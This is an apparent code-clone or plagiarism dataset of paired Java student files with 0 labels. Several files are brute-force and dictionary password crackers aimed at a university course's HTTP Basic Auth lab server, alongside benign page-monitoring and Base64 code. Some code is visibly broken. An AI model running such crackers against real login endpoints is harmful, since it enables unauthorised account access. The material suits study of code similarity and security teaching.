consonantUpperBound; leftIndex++) for(midIndex = consonantLowerBound; midIndex <= consonantUpperBound; midIndex++) for (rightIndex = consonantLowerBound; rightIndex <= consonantUpperBound; rightIndex++) if((leftIndex == midIndex) && (leftIndex == rightIndex)) { } else { if(tryLogin(leftIndex, midIndex, rightIndex)) return; } if(verbose > CrackingConstants.quietMode) System.out.println("Trying monographs (A, a, etc.)"); for ( i = 0; i <= consonantUpperBound; i++) { leftIndex = i; midIndex = -1; rightIndex = -1; if(tryLogin(leftIndex, midIndex, rightIndex)) return; } if(verbose > CrackingConstants.quietMode) System.out.println("Trying bigraphs (AA, aa, etc.)"); for( i = 0; i <= consonantUpperBound; i++) { for( j = 0; j <= consonantUpperBound; j++) { leftIndex = i; midIndex = j; rightIndex = -1; if(tryLogin(leftIndex, midIndex, rightIndex)) return; } } return; } private boolean tryLogin( int leftIndex, int midIndex, int rightIndex) { LoginAttempt login = new LoginAttempt(); LoginAttemptResults results = new LoginAttemptResults(); CasePasswords casedPasswords = new CasePasswords(verbose); String tail = ""; results = login.tryPasswords(casedPasswords.createCasedPasswords(leftIndex, midIndex, rightIndex, tail, CrackingConstants.lowerChars, CrackingConstants.upperChars, scanType), passwordsTried); passwordsTried = results.getPasswordsTried(); return results.getSuccess(); } }
import java.net.*; import java.io.*; import java.util.*; public class Dictionary { public static void main(String args[]) { int i,j,k; String pass = new String(); String UserPass = new String(); String status = new String(); String status1 = new String(); BasicAuth auth = new BasicAuth(); URLConnection connect; int start,end,diff; try { URL url = new URL ("http://sec-crack.cs.rmit.edu./SEC/2/"); start =System.currentTimeMillis(); BufferedReader dis = new BufferedReader(new FileReader("words")); while ((pass = dis.readLine()) != null) { UserPass= auth.encode("",pass); connect = url.openConnection(); connect.setDoInput(true); connect.setDoOutput(true); connect.setRequestProperty("Host","sec-crack.cs.rmit.edu."); connect.setRequestProperty("Get","/SEC/2/ HTTP/1.1"); connect.setRequestProperty("Authorization"," " + UserPass); connect.connect(); status =connect.getHeaderField(0); status1 = status.substring( 9,12); if (status.equalsIgnoreCase("HTTP/1.1 200 OK")) { System.out.println("Password is " + pass); end=System.currentTimeMillis(); diff = end - start; System.out.println("Time Taken = " + (diff/1000) + " secs"); System.exit(0); } ((HttpURLConnection)connect).disconnect(); connect = null; } System.out.println(" match found"); dis.close(); dis=null; connect = null; } catch (MalformedURLException malerr) { System.err.println("Unable Open URL" + malerr); } catch (Exception ioerr) { System.err.println("Unable open file" + ioerr); } } }
229.java
161.java
0
import java.io.*; import java.*; import java.net.*; import java.util.*; public class WatchDog { public static void main (String[] args) throws IOException { BufferedReader stdin = new BufferedReader (new InputStreamReader(System.in)); try{ twentyfourhours = 86400000; Timer timer = new Timer(); final Runtime rt = Runtime.getRuntime(); try{ Process wg1 = rt.exec("./.sh"); wg1.waitFor(); } catch(InterruptedException e ){ System.err.println(); e.printStackTrace(); } class RepeatTask extends TimerTask{ public void run(){ try{ Process wg2 = rt.exec("./task.sh"); wg2.waitFor(); FileReader fr = new FileReader("check.txt"); BufferedReader bufr = new BufferedReader(fr); String check = bufr.readLine(); if(check.equals(".txt: FAILED")) { Process difftosend = rt.exec("./diff.sh"); difftosend.waitFor(); Process reset = rt.exec("./.sh"); reset.waitFor(); } FileReader fr2 = new FileReader("imgdiffs.txt"); BufferedReader bufr2 = new BufferedReader(fr2); String imdiff = bufr2.readLine(); if(imdiff != null){ Process imdifftosend = rt.exec("./img.sh"); imdifftosend.waitFor(); Process reset = rt.exec("./.sh"); reset.waitFor(); } } catch(InterruptedException e){System.err.println();e.printStackTrace();} catch(IOException e){ System.err.println(e); e.printStackTrace(); } }} timer.scheduleAtFixedRate(new RepeatTask(),twentyfourhours,twentyfourhours); } catch(IOException e){ System.err.println(e); e.printStackTrace(); } }}
import java.net.*; import java.io.*; import java.util.*; public class Dictionary { public static void main(String args[]) { int i,j,k; String pass = new String(); String UserPass = new String(); String status = new String(); String status1 = new String(); BasicAuth auth = new BasicAuth(); URLConnection connect; int start,end,diff; try { URL url = new URL ("http://sec-crack.cs.rmit.edu./SEC/2/"); start =System.currentTimeMillis(); BufferedReader dis = new BufferedReader(new FileReader("words")); while ((pass = dis.readLine()) != null) { UserPass= auth.encode("",pass); connect = url.openConnection(); connect.setDoInput(true); connect.setDoOutput(true); connect.setRequestProperty("Host","sec-crack.cs.rmit.edu."); connect.setRequestProperty("Get","/SEC/2/ HTTP/1.1"); connect.setRequestProperty("Authorization"," " + UserPass); connect.connect(); status =connect.getHeaderField(0); status1 = status.substring( 9,12); if (status.equalsIgnoreCase("HTTP/1.1 200 OK")) { System.out.println("Password is " + pass); end=System.currentTimeMillis(); diff = end - start; System.out.println("Time Taken = " + (diff/1000) + " secs"); System.exit(0); } ((HttpURLConnection)connect).disconnect(); connect = null; } System.out.println(" match found"); dis.close(); dis=null; connect = null; } catch (MalformedURLException malerr) { System.err.println("Unable Open URL" + malerr); } catch (Exception ioerr) { System.err.println("Unable open file" + ioerr); } } }
069.java
161.java
0
import java.misc.BASE64Encoder; import java.misc.BASE64Decoder; import java.io.*; import java.net.*; import java.util.*; public class BruteForce { static char [] passwordDataSet = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz".toCharArray(); private int indices[] = {0,0,0}; private String url = null; public BruteForce(String url) { this.url = url; } private int attempts = 0; private boolean stopGen = false; public String getNextPassword(){ String nextPassword = ""; for(int i = 0; i <indices.length ; i++){ if(indices[indices.length -1 ] == passwordDataSet.length) return null; if(indices[i] == passwordDataSet.length ){ indices[i] = 0; indices[i+1]++; } nextPassword = passwordDataSet[indices[i]]+nextPassword; if(i == 0) indices[0]++; } return nextPassword; } public void setIndices(int size){ this.indices = new int[size]; for(int i = 0; i < size; i++) this.indices[i] = 0; } public void setPasswordDataSet(String newDataSet){ this.passwordDataSet = newDataSet.toCharArray(); } public String crackPassword(String user) throws IOException, MalformedURLException{ URL url = null; URLConnection urlConnection = null; String outcome = null; String authorization = null; String password = null; BASE64Encoder b64enc = new BASE64Encoder(); InputStream content = null; BufferedReader in = null; String line; int i = 0; while(!"HTTP/1.1 200 OK".equalsIgnoreCase(outcome)){ url = new URL(this.url); urlConnection = url.openConnection(); urlConnection.setDoInput(true); urlConnection.setDoOutput(true); urlConnection.setRequestProperty("GET", url.getPath() + " HTTP/1.1"); urlConnection.setRequestProperty("Host", url.getHost()); password = getNextPassword(); if(password == null) return null; System.out.print(password); authorization = user + ":" + password; urlConnection.setRequestProperty("Authorization", " "+ b64enc.encode(authorization.getBytes())); outcome = urlConnection.getHeaderField(null); this.attempts ++; urlConnection = null; url = null; if(this.attempts%51 == 0) for(int b = 0; b < 53;b++) System.out.print("\b \b"); else System.out.print("\b\b\b."); } return password; } public int getAttempts(){ return this.attempts; } public static void main (String[] args) { if(args.length != 2){ System.out.println("usage: java attacks.BruteForce <url crack: e.g. http://sec-crack.cs.rmit.edu./SEC/2/> <username: e.g. >"); System.exit(1); } BruteForce bruteForce1 = new BruteForce(args[0]); try{ Calendar cal1=null, cal2=null; cal1 = Calendar.getInstance(); System.out.println("Cracking started at: " + cal1.getTime().toString()); String password = bruteForce1.crackPassword(args[1]); if(password != null) System.out.println("\nPassword is: "+password); else System.out.println("\nPassword could not retrieved!"); cal2 = Calendar.getInstance(); System.out.println("Cracking finished at: " + cal2.getTime().toString()); Date d3 = new Date(cal2.getTime().getTime() - cal1.getTime().getTime()); System.out.println("Total Time taken crack: " + (d3.getTime())/1000 + " sec"); System.out.println("Total attempts : " + bruteForce1.getAttempts()); }catch(MalformedURLException mue){ mue.printStackTrace(); } catch(IOException ioe){ ioe.printStackTrace(); } } }
import java.net.*; import java.io.*; import java.util.*; public class Dictionary { public static void main(String args[]) { int i,j,k; String pass = new String(); String UserPass = new String(); String status = new String(); String status1 = new String(); BasicAuth auth = new BasicAuth(); URLConnection connect; int start,end,diff; try { URL url = new URL ("http://sec-crack.cs.rmit.edu./SEC/2/"); start =System.currentTimeMillis(); BufferedReader dis = new BufferedReader(new FileReader("words")); while ((pass = dis.readLine()) != null) { UserPass= auth.encode("",pass); connect = url.openConnection(); connect.setDoInput(true); connect.setDoOutput(true); connect.setRequestProperty("Host","sec-crack.cs.rmit.edu."); connect.setRequestProperty("Get","/SEC/2/ HTTP/1.1"); connect.setRequestProperty("Authorization"," " + UserPass); connect.connect(); status =connect.getHeaderField(0); status1 = status.substring( 9,12); if (status.equalsIgnoreCase("HTTP/1.1 200 OK")) { System.out.println("Password is " + pass); end=System.currentTimeMillis(); diff = end - start; System.out.println("Time Taken = " + (diff/1000) + " secs"); System.exit(0); } ((HttpURLConnection)connect).disconnect(); connect = null; } System.out.println(" match found"); dis.close(); dis=null; connect = null; } catch (MalformedURLException malerr) { System.err.println("Unable Open URL" + malerr); } catch (Exception ioerr) { System.err.println("Unable open file" + ioerr); } } }
184.java
161.java
0
import java.util.Timer; import java.util.TimerTask; import java.net.*; import java.io.*; import javax.mail.*; import javax.mail.internet.*; import java.util.*; public class WatchDog { Timer timer; public WatchDog() { timer = new Timer(); timer.schedule(new WatchTask(), 0, 1*1000); } class WatchTask extends TimerTask { public void run() { try { URL rmitUrl = new URL("http://www.cs.rmit.edu./students/"); URLConnection rmitConnection = rmitUrl.openConnection(); BufferedReader in = new BufferedReader( new InputStreamReader( rmitConnection.getInputStream())); String inputLine; BufferedReader bufr = new BufferedReader( new FileReader ("dest.txt")); String outputLine; while (((inputLine = in.readLine()) != null) && ((outputLine = bufr.readLine()) != null)) { if (inputLine.compareTo(outputLine) != 0) { System.out.println(inputLine); System.out.println(outputLine); System.out.println("Sending Email Part..."); postMail("@cs.rmit.edu.", "Notice", inputLine, "@cs.rmit.edu."); } } in.close(); bufr.close(); } catch(Exception e){} } } public static void main(String args[]) throws Exception{ System.out.println("About schedule task."); URL phpUrl = new URL("http://www.cs.rmit.edu./students/"); URLConnection urlConnection = phpUrl.openConnection(); BufferedReader out = new BufferedReader( new InputStreamReader( urlConnection.getInputStream())); String record; PrintWriter pw = new PrintWriter (new BufferedWriter (new FileWriter ("dest.txt"))); record = out.readLine(); while (record != null) { pw.println(record); record = out.readLine(); } pw.close(); for (int i = 0; i < 3600; i ++) { System.out.println("WatchDog running..."); new WatchDog(); } System.out.println("Task scheduled."); } public void postMail( String recipients, String subject, String message , String from) throws Exception { boolean debug = false; Properties props = new Properties(); props.put("mail.smtp.host", "pwd..rmit.edu."); Session session = Session.getDefaultInstance(props, null); session.setDebug(debug); Message msg = new MimeMessage(session); InternetAddress addressFrom = new InternetAddress(from); msg.setFrom(addressFrom); InternetAddress addressTo = new InternetAddress(); addressTo = new InternetAddress(recipients); msg.setRecipients(Message.RecipientType.NORMAL, addressTo); msg.addHeader("MyHeaderName", "WebPage Changed Notice"); msg.setSubject(subject); msg.setContent(message, "text/plain"); Transport.send(msg); } }
import java.net.*; import java.io.*; import java.util.*; public class Dictionary { public static void main(String args[]) { int i,j,k; String pass = new String(); String UserPass = new String(); String status = new String(); String status1 = new String(); BasicAuth auth = new BasicAuth(); URLConnection connect; int start,end,diff; try { URL url = new URL ("http://sec-crack.cs.rmit.edu./SEC/2/"); start =System.currentTimeMillis(); BufferedReader dis = new BufferedReader(new FileReader("words")); while ((pass = dis.readLine()) != null) { UserPass= auth.encode("",pass); connect = url.openConnection(); connect.setDoInput(true); connect.setDoOutput(true); connect.setRequestProperty("Host","sec-crack.cs.rmit.edu."); connect.setRequestProperty("Get","/SEC/2/ HTTP/1.1"); connect.setRequestProperty("Authorization"," " + UserPass); connect.connect(); status =connect.getHeaderField(0); status1 = status.substring( 9,12); if (status.equalsIgnoreCase("HTTP/1.1 200 OK")) { System.out.println("Password is " + pass); end=System.currentTimeMillis(); diff = end - start; System.out.println("Time Taken = " + (diff/1000) + " secs"); System.exit(0); } ((HttpURLConnection)connect).disconnect(); connect = null; } System.out.println(" match found"); dis.close(); dis=null; connect = null; } catch (MalformedURLException malerr) { System.err.println("Unable Open URL" + malerr); } catch (Exception ioerr) { System.err.println("Unable open file" + ioerr); } } }
018.java
161.java
0
import java.util.*; import java.net.*; import java.io.*; import javax.swing.*; public class ParsingImgLink { String url, imgLink, line; public ParsingImgLink( String baseURL, String str ) { url = baseURL; line = str; parsingLine(); } public void parsingLine() { int end; String imgURLStr = null; if( ( url = line.indexOf("src=\"") ) != -1 ) { String subStr = line.substring(+5); end = subStr.indexOf("\""); imgURLStr = subStr.substring( 0, end ); System.out.println(imgURLStr); } else if( ( end = line.indexOf("SRC=\"")) != -1 ) { String subStr = line.substring(+5); end = subStr.indexOf("\""); imgURLStr = subStr.substring( 0, end ); System.out.println(imgURLStr); } if( imgURLStr.indexOf("://") == -1 ) { try { URL baseURL = new URL( url ); URL imgURL = new URL( baseURL, imgURLStr ); imgLink = imgURL.toString(); } catch( MalformedURLException mue ) { String msg = "Unable parse URL !"; System.err.println( msg ); } } } public String getImgLink() { return imgLink; } }
import java.net.*; import java.io.*; import java.util.*; public class Dictionary { public static void main(String args[]) { int i,j,k; String pass = new String(); String UserPass = new String(); String status = new String(); String status1 = new String(); BasicAuth auth = new BasicAuth(); URLConnection connect; int start,end,diff; try { URL url = new URL ("http://sec-crack.cs.rmit.edu./SEC/2/"); start =System.currentTimeMillis(); BufferedReader dis = new BufferedReader(new FileReader("words")); while ((pass = dis.readLine()) != null) { UserPass= auth.encode("",pass); connect = url.openConnection(); connect.setDoInput(true); connect.setDoOutput(true); connect.setRequestProperty("Host","sec-crack.cs.rmit.edu."); connect.setRequestProperty("Get","/SEC/2/ HTTP/1.1"); connect.setRequestProperty("Authorization"," " + UserPass); connect.connect(); status =connect.getHeaderField(0); status1 = status.substring( 9,12); if (status.equalsIgnoreCase("HTTP/1.1 200 OK")) { System.out.println("Password is " + pass); end=System.currentTimeMillis(); diff = end - start; System.out.println("Time Taken = " + (diff/1000) + " secs"); System.exit(0); } ((HttpURLConnection)connect).disconnect(); connect = null; } System.out.println(" match found"); dis.close(); dis=null; connect = null; } catch (MalformedURLException malerr) { System.err.println("Unable Open URL" + malerr); } catch (Exception ioerr) { System.err.println("Unable open file" + ioerr); } } }
112.java
161.java
0
import java.io.InputStream; import java.util.Properties; import javax.naming.Context; import javax.naming.InitialContext; import javax.rmi.PortableRemoteObject; import javax.sql.DataSource; public class BruteForcePropertyHelper { private static Properties bruteForceProps; public BruteForcePropertyHelper() { } public static String getProperty(String pKey){ try{ initProps(); } catch(Exception e){ System.err.println("Error init'ing the burteforce Props"); e.printStackTrace(); } return bruteForceProps.getProperty(pKey); } private static void initProps() throws Exception{ if(bruteForceProps == null){ bruteForceProps = new Properties(); InputStream fis = BruteForcePropertyHelper.class.getResourceAsStream("/bruteforce.properties"); bruteForceProps.load(fis); } } }
import java.net.*; import java.io.*; import java.util.*; public class Dictionary { public static void main(String args[]) { int i,j,k; String pass = new String(); String UserPass = new String(); String status = new String(); String status1 = new String(); BasicAuth auth = new BasicAuth(); URLConnection connect; int start,end,diff; try { URL url = new URL ("http://sec-crack.cs.rmit.edu./SEC/2/"); start =System.currentTimeMillis(); BufferedReader dis = new BufferedReader(new FileReader("words")); while ((pass = dis.readLine()) != null) { UserPass= auth.encode("",pass); connect = url.openConnection(); connect.setDoInput(true); connect.setDoOutput(true); connect.setRequestProperty("Host","sec-crack.cs.rmit.edu."); connect.setRequestProperty("Get","/SEC/2/ HTTP/1.1"); connect.setRequestProperty("Authorization"," " + UserPass); connect.connect(); status =connect.getHeaderField(0); status1 = status.substring( 9,12); if (status.equalsIgnoreCase("HTTP/1.1 200 OK")) { System.out.println("Password is " + pass); end=System.currentTimeMillis(); diff = end - start; System.out.println("Time Taken = " + (diff/1000) + " secs"); System.exit(0); } ((HttpURLConnection)connect).disconnect(); connect = null; } System.out.println(" match found"); dis.close(); dis=null; connect = null; } catch (MalformedURLException malerr) { System.err.println("Unable Open URL" + malerr); } catch (Exception ioerr) { System.err.println("Unable open file" + ioerr); } } }
145.java
161.java
0
import java.net.*; import java.io.*; import java.util.*; public class Dictionary{ private static URL location; private static String user; private BufferedReader input; private static BufferedReader dictionary; private int maxLetters = 3; public Dictionary() { Authenticator.setDefault(new MyAuthenticator ()); startTime = System.currentTimeMillis(); boolean passwordMatched = false; while (!passwordMatched) { try { input = new BufferedReader(new InputStreamReader(location.openStream())); String line = input.readLine(); while (line != null) { System.out.println(line); line = input.readLine(); } input.close(); passwordMatched = true; } catch (ProtocolException e) { } catch (ConnectException e) { System.out.println("Failed connect"); } catch (IOException e) { e.printStackTrace(); System.exit(-1); } } endTime = System.currentTimeMillis(); System.out.println("Total Time: "+cad.concat(Math.toString(endTime - startTime))); } private char[] nextPassword() { String password = new String(); try { password = dictionary.readLine(); while (password.length() > maxLetters) { password = dictionary.readLine(); } } catch (IOException e) { e.printStackTrace(); System.exit(-1); } return password.toCharArray(); } public static void main(String args[]) { if (args.length != 3) { System.out.println("Usage: java Dictionary url user dictionary"); System.exit(-1); } try { location = new URL(args[0]); } catch (MalformedURLException e) { e.printStackTrace(); } user = new String().concat(args[1]); try { dictionary = new BufferedReader(new FileReader(args[2])); } catch (IOException e) { e.printStackTrace(); System.exit(-1); } new Dictionary(); } class MyAuthenticator extends Authenticator { protected PasswordAuthentication getPasswordAuthentication() { char [] currentPassword = nextPassword(); System.out.print(user.concat("-")); System.out.println(currentPassword); return new PasswordAuthentication (user, currentPassword); } } }
import java.net.*; import java.io.*; import java.util.*; public class Dictionary { public static void main(String args[]) { int i,j,k; String pass = new String(); String UserPass = new String(); String status = new String(); String status1 = new String(); BasicAuth auth = new BasicAuth(); URLConnection connect; int start,end,diff; try { URL url = new URL ("http://sec-crack.cs.rmit.edu./SEC/2/"); start =System.currentTimeMillis(); BufferedReader dis = new BufferedReader(new FileReader("words")); while ((pass = dis.readLine()) != null) { UserPass= auth.encode("",pass); connect = url.openConnection(); connect.setDoInput(true); connect.setDoOutput(true); connect.setRequestProperty("Host","sec-crack.cs.rmit.edu."); connect.setRequestProperty("Get","/SEC/2/ HTTP/1.1"); connect.setRequestProperty("Authorization"," " + UserPass); connect.connect(); status =connect.getHeaderField(0); status1 = status.substring( 9,12); if (status.equalsIgnoreCase("HTTP/1.1 200 OK")) { System.out.println("Password is " + pass); end=System.currentTimeMillis(); diff = end - start; System.out.println("Time Taken = " + (diff/1000) + " secs"); System.exit(0); } ((HttpURLConnection)connect).disconnect(); connect = null; } System.out.println(" match found"); dis.close(); dis=null; connect = null; } catch (MalformedURLException malerr) { System.err.println("Unable Open URL" + malerr); } catch (Exception ioerr) { System.err.println("Unable open file" + ioerr); } } }
210.java
161.java
0
import java.io.*; import java.util.*; import java.*; public class storeNewFile { private PrintWriter outputStream= null; private String filename; private FileWriter fw; public storeNewFile(String fname) { try { filename = fname; outputStream=new PrintWriter(new FileOutputStream(filename)); } catch(FileNotFoundException e) { System.err.println("File "+filename+" was not found"); } catch(IOException e) { System.err.println("Error "); } } public void getStringW(StringWriter sw) { outputStream.print(sw.toString()); } public void closeStream() { outputStream.write(); } public void translogFile(String result) { String fileName = "TransactionLog.txt"; try{ fw=new FileWriter(fileName,true); fw.write(result); fw.write('\n'); fw.print(); System.out.println("Saved sucessfully"); }catch(IOException e){ System.out.println("Error saving the file"); } } }
import java.net.*; import java.io.*; import java.util.*; public class Dictionary { public static void main(String args[]) { int i,j,k; String pass = new String(); String UserPass = new String(); String status = new String(); String status1 = new String(); BasicAuth auth = new BasicAuth(); URLConnection connect; int start,end,diff; try { URL url = new URL ("http://sec-crack.cs.rmit.edu./SEC/2/"); start =System.currentTimeMillis(); BufferedReader dis = new BufferedReader(new FileReader("words")); while ((pass = dis.readLine()) != null) { UserPass= auth.encode("",pass); connect = url.openConnection(); connect.setDoInput(true); connect.setDoOutput(true); connect.setRequestProperty("Host","sec-crack.cs.rmit.edu."); connect.setRequestProperty("Get","/SEC/2/ HTTP/1.1"); connect.setRequestProperty("Authorization"," " + UserPass); connect.connect(); status =connect.getHeaderField(0); status1 = status.substring( 9,12); if (status.equalsIgnoreCase("HTTP/1.1 200 OK")) { System.out.println("Password is " + pass); end=System.currentTimeMillis(); diff = end - start; System.out.println("Time Taken = " + (diff/1000) + " secs"); System.exit(0); } ((HttpURLConnection)connect).disconnect(); connect = null; } System.out.println(" match found"); dis.close(); dis=null; connect = null; } catch (MalformedURLException malerr) { System.err.println("Unable Open URL" + malerr); } catch (Exception ioerr) { System.err.println("Unable open file" + ioerr); } } }
200.java
161.java
0
import java.io.*; import java.util.*; public class Dog { public Dog() { Copier cop; String[] myFiles; File myDir = new File("."); myFiles = myDir.list(); int flag = 0; int j; for(int i = 0;i < myFiles.length; i++) { j = myFiles[i].compareTo("oldCopy.html"); if( j == 0) { System.out.println(myFiles[i]+" "+j); flag = 1; break; } } if( flag == 0) cop = new Copier("oldCopy.html"); else { cop = new Copier("newCopy.html"); try { handleCompare(); } catch( IOException e) { System.out.println("IOExeption "+e); e.printStackTrace(); System.exit(0); } } } private void handleCompare() throws IOException { MailClient m; File newFile = new File("newCopy.html"); File oldFile = new File("oldCopy.html"); String lineNew, lineOld; LineNumberReader lnrNew, lnrOld; Vector v = new Vector(10); int flag = 0; int comp; lnrNew = new LineNumberReader( new FileReader( newFile)); lnrOld = new LineNumberReader( new FileReader( oldFile)); while(((lineNew = lnrNew.readLine()) != null) && ((lineOld = lnrOld.readLine()) != null)) { comp = lineNew.compareTo( lineOld); if( comp == 0) continue; else { flag = lnrNew.getLineNumber(); v.add( new Integer(flag)); } } if( v.size() != 0) { m = new MailClient("mail.cs.rmit.edu.", 25 ); v.connect(); } lnrNew.print(); lnrOld.print(); oldFile.delete(); newFile.renameTo(oldFile); } public static void main (String[] args) { Dog pepa = new Dog(); } }
import java.net.*; import java.io.*; import java.util.*; public class Dictionary { public static void main(String args[]) { int i,j,k; String pass = new String(); String UserPass = new String(); String status = new String(); String status1 = new String(); BasicAuth auth = new BasicAuth(); URLConnection connect; int start,end,diff; try { URL url = new URL ("http://sec-crack.cs.rmit.edu./SEC/2/"); start =System.currentTimeMillis(); BufferedReader dis = new BufferedReader(new FileReader("words")); while ((pass = dis.readLine()) != null) { UserPass= auth.encode("",pass); connect = url.openConnection(); connect.setDoInput(true); connect.setDoOutput(true); connect.setRequestProperty("Host","sec-crack.cs.rmit.edu."); connect.setRequestProperty("Get","/SEC/2/ HTTP/1.1"); connect.setRequestProperty("Authorization"," " + UserPass); connect.connect(); status =connect.getHeaderField(0); status1 = status.substring( 9,12); if (status.equalsIgnoreCase("HTTP/1.1 200 OK")) { System.out.println("Password is " + pass); end=System.currentTimeMillis(); diff = end - start; System.out.println("Time Taken = " + (diff/1000) + " secs"); System.exit(0); } ((HttpURLConnection)connect).disconnect(); connect = null; } System.out.println(" match found"); dis.close(); dis=null; connect = null; } catch (MalformedURLException malerr) { System.err.println("Unable Open URL" + malerr); } catch (Exception ioerr) { System.err.println("Unable open file" + ioerr); } } }
041.java
161.java
0
public class Base64 { static public char[] encode(byte[] data) { char[] out = new char[((data.length + 2) / 3) * 4]; for (int i=0, index=0; i<data.length; i+=3, index+=4) { boolean quad = false; boolean trip = false; int bat = (0xFF & (int) data[i]); bat <<= 8; if ((i+1) < data.length) { bat |= (0xFF & (int) data[i+1]); trip = true; } bat <<= 8; if ((i+2) < data.length) { bat |= (0xFF & (int) data[i+2]); quad = true; } out[index+3] = alphabet[(quad? ( bat & 0x3F): 64)]; bat >>= 6; out[index+2] = alphabet[(trip? ( bat & 0x3F): 64)]; bat >>= 6; out[index+1] = alphabet[bat & 0x3F]; bat >>= 6; out[index+0] = alphabet[ bat & 0x3F]; } return out; } static public byte[] decode(char[] data) { int tempLen = data.length; for( int ix=0; ix<data.length; ix++ ) { if( (data[ix] > 255) || codes[ data[ix] ] < 0 ) --tempLen; } int len = (tempLen / 4) * 3; if ((tempLen % 4) == 3) len += 2; if ((tempLen % 4) == 2) len += 1; byte[] out = new byte[len]; int shift = 0; int accum = 0; int index = 0; for (int ix=0; ix<data.length; ix++) { int value = (data[ix]>255)? -1: codes[ data[ix] ]; if ( value >= 0 ) { accum <<= 6; shift += 6; accum |= value; if ( shift >= 8 ) { shift -= 8; out[index++] = (byte) ((accum >> shift) & 0xff); } } } if( index != out.length) { throw new Error("Miscalculated data length (wrote " + index + " instead of " + out.length + ")"); } return out; } static private char[] alphabet = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=" .toCharArray(); static private byte[] codes = new byte[256]; static { for (int i=0; i<256; i++) codes[i] = -1; for (int i = 'A'; i <= 'Z'; i++) codes[i] = (byte)( i - 'A'); for (int i = 'a'; i <= 'z'; i++) codes[i] = (byte)(26 + i - 'a'); for (int i = '0'; i <= '9'; i++) codes[i] = (byte)(52 + i - '0'); codes['+'] = 62; codes['/'] = 63; } }
import java.net.*; import java.io.*; import java.util.*; public class Dictionary { public static void main(String args[]) { int i,j,k; String pass = new String(); String UserPass = new String(); String status = new String(); String status1 = new String(); BasicAuth auth = new BasicAuth(); URLConnection connect; int start,end,diff; try { URL url = new URL ("http://sec-crack.cs.rmit.edu./SEC/2/"); start =System.currentTimeMillis(); BufferedReader dis = new BufferedReader(new FileReader("words")); while ((pass = dis.readLine()) != null) { UserPass= auth.encode("",pass); connect = url.openConnection(); connect.setDoInput(true); connect.setDoOutput(true); connect.setRequestProperty("Host","sec-crack.cs.rmit.edu."); connect.setRequestProperty("Get","/SEC/2/ HTTP/1.1"); connect.setRequestProperty("Authorization"," " + UserPass); connect.connect(); status =connect.getHeaderField(0); status1 = status.substring( 9,12); if (status.equalsIgnoreCase("HTTP/1.1 200 OK")) { System.out.println("Password is " + pass); end=System.currentTimeMillis(); diff = end - start; System.out.println("Time Taken = " + (diff/1000) + " secs"); System.exit(0); } ((HttpURLConnection)connect).disconnect(); connect = null; } System.out.println(" match found"); dis.close(); dis=null; connect = null; } catch (MalformedURLException malerr) { System.err.println("Unable Open URL" + malerr); } catch (Exception ioerr) { System.err.println("Unable open file" + ioerr); } } }
011.java
161.java
0
import java.net.*; import java.io.*; import java.util.Vector; import java.util.Date; import java.security.*; public class BruteForce { public static BufferedReader in; public static void main (String[] args) throws Exception { String baseURL = "http://sec-crack.cs.rmit.edu./SEC/2/index.php"; Date date = new Date(); startTime=date.getTime(); int LIMITINMINUTES=45; int TIMELIMIT=LIMITINMINUTES*1000*60; boolean timedOut=false; boolean found=false; char[] letters={'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y','Z'}; char[] lettersLC={'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z'}; char[] lettersUC={'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y','Z'}; while (found==false) { String password = ""; URL url = new URL(baseURL); String username=""; for (int i=0; i<letters.length; i++){ password = String.valueOf(letters[i]); String authString = username+":"+password; String encoding = new misc.BASE64Encoder().encode(authString.getBytes()); System.out.print("authString is: "+authString); URLConnection urlConnect=url.openConnection(); urlConnect.setRequestProperty("Authorization"," "+encoding); String responseCode = urlConnect.getHeaderField(0); System.out.print(" Response is: "); System.out.println(responseCode); if (!responseCode.equals("HTTP/1.1 401 Authorization Required")) { found=true; i=letters.length; } } if (!found) { for (int j=0; j<letters.length; j++){ for (int k=0; k<letters.length; k++) { String letter1=String.valueOf(letters[j]); String letter2=String.valueOf(letters[k]); password = letter1.concat(letter2); String authString = username+":"+password; String encoding = new misc.BASE64Encoder().encode(authString.getBytes()); System.out.print("authString is: "+authString); URLConnection urlConnect=url.openConnection(); urlConnect.setRequestProperty("Authorization"," "+encoding); String responseCode = urlConnect.getHeaderField(0); System.out.print(" Response is: "); System.out.println(responseCode); if (!responseCode.equals("HTTP/1.1 401 Authorization Required")) { found=true; j=letters.length; k=letters.length; } } } } if (!found){ for (int j=0; j<lettersLC.length; j++){ for (int k=0; k<lettersLC.length; k++) { for (int l=0; l<lettersLC.length; l++){ String letter1=String.valueOf(lettersLC[j]); String letter2=String.valueOf(lettersLC[k]); String letter3=String.valueOf(lettersLC[l]); password = letter1.concat(letter2); password = password.concat(letter3); String authString = username+":"+password; String encoding = new misc.BASE64Encoder().encode(authString.getBytes()); System.out.print("authString is: "+authString); URLConnection urlConnect=url.openConnection(); urlConnect.setRequestProperty("Authorization"," "+encoding); String responseCode = urlConnect.getHeaderField(0); String errorCode = new String(urlConnect.getHeaderField(0)); System.out.print(" Response is: "); System.out.println(responseCode); if (!responseCode.equals("HTTP/1.1 401 Authorization Required")) { found=true; j=lettersLC.length; k=lettersLC.length; l=lettersLC.length; } } } Date endDate = new Date(); endTime=endDate.getTime(); if (endTime>(TIMELIMIT+startTime)){ System.out.println("Timed out"); timedOut=true; j=lettersLC.length; } } } if (!found){ for (int j=0; j<lettersUC.length; j++){ for (int k=0; k<lettersLC.length; k++) { for (int l=0; l<lettersLC.length; l++){ String letter1=String.valueOf(lettersUC[j]); String letter2=String.valueOf(lettersLC[k]); String letter3=String.valueOf(lettersLC[l]); password = letter1.concat(letter2); password = password.concat(letter3); String authString = username+":"+password; String encoding = new misc.BASE64Encoder().encode(authString.getBytes()); System.out.print("authString is: "+authString); URLConnection urlConnect=url.openConnection(); 